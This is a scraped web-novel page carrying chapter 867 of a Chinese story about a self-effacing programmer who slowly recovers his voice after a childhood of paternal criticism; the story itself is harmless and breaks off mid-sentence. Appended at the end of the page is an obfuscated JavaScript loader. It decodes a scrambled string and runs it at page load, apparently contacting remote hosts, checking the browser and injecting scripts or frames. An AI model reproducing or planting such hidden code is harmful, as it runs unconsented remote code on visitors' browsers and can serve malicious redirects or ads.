首页
[切换至繁体版]
返回

第867章破茧而出

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    一
    林晓北在公司里存在感很低。
    他坐在工位最角落的位置,背对着整面落地窗。窗外是这座城市最繁华的CBD,写字楼玻璃幕墙反射着刺目的阳光,可他的工位上永远亮着那盏发黄的台灯,像是刻意把自己藏在阴影里。
    入职三年了,同期进来的同事有的升了组长,有的跳槽去了大厂薪水翻倍,只有林晓北,还是那个林晓北——安安静静地写代码,安安静静地吃饭,安安静静地下班,像一台被设定好程序的机器,从不越界,从不出错,也从不出彩。
    部门开会的时候,他永远坐在最后一排。不是不想往前坐,是坐到前面会让他浑身不自在,像有什么东西从后背爬上来,密密麻麻地扎着他。领导让大家发言,他低着头,等所有人都说完了,才小声说一句:“我没什么补充的。”
    有时候确实有想法,但他会反复在心里掂量——这个想法对吗?说出来会不会很蠢?会不会被嘲笑?万一领导觉得我在出风头怎么办?等他把这些问题全部过一遍,会议早就散了。
    同事周明远跟他关系最近,不是因为性格相投,而是因为工位挨着。周明远是个话多的人,经常找林晓北聊天,但每次都像是在演独角戏。
    “晓北,你觉得新来的产品经理怎么样?”
    “还行。”
    “周末要不要一起去打羽毛球?”
    “不太方便。”
    “你周末都干嘛啊?”
    “没干嘛。”
    周明远有时候急了,拍他肩膀:“你能不能多说两句话?”
    林晓北就笑一下,那个笑容很浅,像是从嘴角挤出来的,没有温度,也没有内容。周明远后来不问了,觉得这人大概天生就这样,闷葫芦一个。
    但周明远注意到一个细节:林晓北的代码写得极好。
    不是那种花里胡哨的好,是干净、规整、滴水不漏的好。每一行注释都写得清清楚楚,每一个变量命名都符合规范,测试覆盖率永远是百分之百。有一次线上出了紧急故障,全组人都手忙脚乱,只有林晓北冷静地打开日志,逐行排查,二十分钟就定位到了问题。
    组长李宏当场夸他:“晓北,干得漂亮!”
    林晓北没有高兴的表情,反而有些不安地搓了搓手指,低声说:“应该的。”
    那天晚上加班到九点,周明远收拾东西准备走,看见林晓北还坐在电脑前,屏幕上不是代码,是一个空白的文档,光标一闪一闪的。他在写周报。
    “周报还没写完?”周明远问。
    林晓北抬头,表情有些窘迫:“我不知道怎么描述我做的事,总觉得写得不好。”
    周明远凑过去看了一眼,那份周报已经写了两个小时,只有短短三行字,每行都删改过好几遍,括号里标注着“这样写是不是太啰嗦了”“要不要换个说法”。周明远叹了口气,心想这人对自己到底有多苛刻。
    他不知道的是,林晓北每天晚上回到家,还会花至少一个小时复盘当天的工作——今天有没有说错话?有没有哪件事做得不够好?领导那个眼神是什么意思?同事那句玩笑是不是在暗示什么?
    这些念头像虫子一样啃噬着他,从晚饭后一直持续到深夜,直到他筋疲力尽地睡去。第二天醒来,一切重新开始。
    二
    林晓北的童年,是在一座南方小县城度过的。
    父亲林建国是县一中的数学老师,教了三十年书,带出了无数考上重点大学的学生。在家长和同事眼里,他是出了名的严师,对学生要求极高,一道题做错了要罚抄十遍,考试低于九十分要请家长。
    对别人家的孩子尚且如此,对自己的儿子,更是变本加厉。
    林晓北记得很清楚,小学三年级那次期末考试,他数学考了九十八分,全班第一。他兴冲冲地跑回家,把试卷举到父亲面前,期待着一句表扬。
    林建国接过试卷,看了一眼,眉头皱起来。
    “这两分丢在哪儿了?”
    “最后一题,单位换算……写错了。”
    “单位换算都能错?你脑子里装的是什么?”林建国的声音不大,但每一个字都像钉子一样扎进来,“全班第一又怎么样?九十八分就是九十八分,该错的一个没少错。你以为第一就很厉害了?你看看你隔壁陈叔叔家的儿子,人家奥数比赛拿了全省一等奖,你一个班级第一有什么好得意的?”
    林晓北站在客厅中央,手里的试卷慢慢垂下来。他没有哭,他早就学会了不哭。因为哭的后果更严重——父亲会说“哭什么哭,男子汉大丈夫,错了就是错了,哭能解决问题吗”;母亲会在一旁叹气“你这孩子怎么这么不争气”。
    那个九十八分,成了他记忆里一个奇怪的符号。他没有因为考了第一而骄傲,反而因为丢了两分而自责了很久。从那天起,他养成了一个习惯——做完任何事都要反复检查,生怕出错。考试卷子检查三遍才交,作业写完了再看两遍,连写一篇日记都要读好几遍,确保没有错别字。
    这个习惯一直延续到了工作中,让他成了一个极其靠谱但极其缓慢的人。
    四年级的时候,学校里有一次绘画比赛,林晓北喜欢画画,偷偷报了名。他画了一幅水彩画,画的是一片田野,远处有山,近处有一条小溪,溪边站着一个小孩。他花了一个星期的时间,每天放学后躲在房间里画,画完又改,改完又画,直到自己觉得满意了才交上去。
    比赛结果出来,他得了二等奖。奖状发下来那天,他把奖状藏在书包里,不敢拿回家。他知道父亲会说什么——“画画有什么用?能当饭吃吗?有这时间不如多做几道数学题。”
    后来母亲整理他的书包,发现了那张奖状,高兴地贴在客厅墙上。林建国下班回来,看见墙上的奖状,沉默了一会儿,说了一句话:“别搞这些没用的,耽误学习。”
    那天晚上,林晓北趁父母睡着,悄悄爬起来,把奖状从墙上揭下来,塞进了抽屉最深处。
    从那以后,他再也没有画过画。
    初中、高中、大学,林晓北一路走来,成绩中上,不好不坏。他不是没有能力考得更好,而是他学会了一种生存策略——不要冒尖,冒尖会被关注,被关注就会被审视,被审视就会被挑错。
    他把自己训练成了一个隐形人。
    上课从不举手发言,被老师点名回答问题,哪怕知道答案也要先说一句“我不太确定”,给自己留好退路。考试成绩稳定在班级十几名,不引人注目,也不会让父亲太难看。高考填志愿的时候,他想学设计,但父亲说“学计算机好就业”,他就填了计算机。
    大学四年,他依然是一个透明人。不参加社团,不谈恋爱,不跟同学出去玩。室友们打游戏打到半夜,他戴着耳机看编程教程。不是因为他多热爱编程,而是因为他不知道该做什么,只知道不能犯错。
    毕业的时候,辅导员找他谈话,说他的成绩不错,综合素质也好,建议他试试大厂的校招。他拒绝了,投了一家规模不大的科技公司,也就是现在这家。理由很简单——大厂竞争太激烈,他怕自己应付不来。
    面试的时候,技术主管问他:“你觉得自己最大的缺点是什么?”
    他想了很久,说:“我反应有点慢。”
    主管笑了:“那正好,我们这儿的活不需要太快,需要的是不出错。”
    就这样,林晓北成了这家公司的一名普通后端工程师。
    三
    转折发生在一个普通的工作日。
    那天下午,公司突然接到一个紧急项目——一个金融客户的核心系统出了问题,需要立即修复,否则会影响第二天的交易。这个客户是公司最大的金主,一旦出问题,后果不堪设想。
    全组人都被叫到了会议室。组长李宏脸色铁青,项目经理想当众甩锅:“这个模块是林晓北负责的,他写的代码出了问题。”
    会议室里安静了一瞬。所有人的目光都转向了坐在角落里的林晓北。
    林晓北的脸一下子白了。他张了张嘴,想说点什么,但脑子里一片空白。那种熟悉的感觉又回来了——小时候做错题站在父亲面前的感觉,考了九十八分被质问两分丢在哪里的感觉。
    他低下头,小声说:“我……我查一下。”
    “查一下?”项目经理的声音提高了,“客户那边等着呢,你查一下要多久?”
    林晓北的手指在膝盖上绞在一起,指节发白。他能感觉到所有人的目光都压在他身上,沉甸甸的,像一块巨石。他想说“给我一个小时”,但说不出口,因为他怕一个小时不够。他想说“可能不是我的问题”,但也说不出口,因为他怕万一真的是自己的问题,那就是推卸责任。
    就在他僵在那里的时候,周明远开口了。
    “等一下,”周明远打开笔记本电脑,快速翻了翻代码提交记录,“这个模块虽然是晓北在维护,但最近一次修改是两周前,是前端组老王提交的,跟晓北没关系。”
    会议室里又是一静。
    项目经理的脸色变了变,嘟囔了一句“那再查查别的”,就匆匆走了出去。
    李宏拍了拍林晓北的肩膀:“没事了,别往心里去。”
    林晓北点了点头,没有说话。他回到工位上,盯着屏幕发了很久的呆。周明远刚才替他解了围,但他心里没有感激,只有一种说不清道不明的酸涩。
    为什么?为什么他明明没有犯错,却第一反应是认错?为什么他明明知道那个模块最近没有改动过,却不敢说出来?为什么他总觉得所有问题都是自己的错,所有责任都该自己扛?
    那天晚上,林晓北没有像往常一样复盘工作,而是躺在床上,盯着天花板,想了很久很久。
    他想起了父亲,想起了那些年每一次被否定的瞬间。考了九十八分被骂,画画被说没用,想学设计被驳回,就连大学毕业想留在省城工作,父亲都说“你那个性格,在大城市混不下去的,回来考个公务员多稳定”。
    他没有回去考公务员,这是他为数不多的反抗。但反抗的代价是,他觉得自己背叛了父亲,这种愧疚感像一根绳子,一直勒着他,让他不敢太成功,不敢太快乐,不敢太自由。
    他忽然明白了一件事——他一直在用父亲看他的方式看自己。
    父亲觉得他不够好,他就觉得自己不够好。父亲觉得他不行,他就觉得自己不行。父亲说“你反应慢”,他就真的成了一个反应慢的人。
    可是,他真的反应慢吗?
    他想起每次线上故障,他都是最快定位问题的人。他想起那些复杂的业务逻辑,别人要看好几天才能理清楚,他半天就能画出完整的流程图。他想起自己写的代码,干净、优雅、高效,连技术总监都夸过“晓北的代码可以直接当教科书用”。
    他不是反应慢,他是不敢反应快。因为反应快的代价,是被看见,被审视,被挑错,被否定。他太熟悉那个过程了,熟悉到身体自动选择了另一种模式——慢一点,笨一点,低调一点,这样就不会被注意到,不会被注意到就不会被伤害。
    这个认知像一道光,照进了他心里某个关了很久的房间。
    四
    第二天上班,林晓北做了一件从未做过的事——他主动走进了李宏的办公室。
    “李哥,我想跟你说一下昨天那个事。”
    李宏抬头看他,有些意外。三年了,这是林晓北第一次主动找他谈话。
    “那个模块确实不是我的问题,”林晓北的声音有些发抖,但他还是说了下去,“最近一次修改是前端组做的,他们改了一个接口参数,没有同步给我。我昨天回去查了日志,确认了问题出在那里。”
    李宏看着他,慢慢笑了:“我知道。我昨天就查过了。”
    林晓北一愣。
    “晓北,”李宏靠在椅背上,语气认真起来,“你在我手下干了三年,你的技术能力我很清楚。但你有一个问题——你太怕犯错了。怕到不敢说话,怕到不敢争取,怕到别人把锅甩到你头上你都不敢接。你知道这样下去会怎么样吗?你会永远坐在那个角落,永远做一个可有可无的人。”
    林晓北沉默了很久。
    “我知道,”他说,声音很轻,“我正在试着改。”
    从那天起,林晓北开始有意识地去挑战自己的惯性。
    每次开会,他逼自己至少说一次话。哪怕只是“我觉得这个方案可以再优化一下”这样简单的一句话,说出来的时候心脏都砰砰直跳,说完还要观察所有人的反应,生怕有人露出不屑的表情。
    写代码的时候,他不再反复检查十遍才提交。他给自己定了一个规则——检查三遍,没有明显问题就提交,错了再说。第一次这样做的时候,他在提交按钮上犹豫了整整五分钟,手指悬在鼠标上方,像站在悬崖边上。
    他甚至开始尝试跟同事一起吃午饭。以前他总是等大家都走了才一个人去食堂,找一个没人的角落坐下,十分钟吃完,匆匆回
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();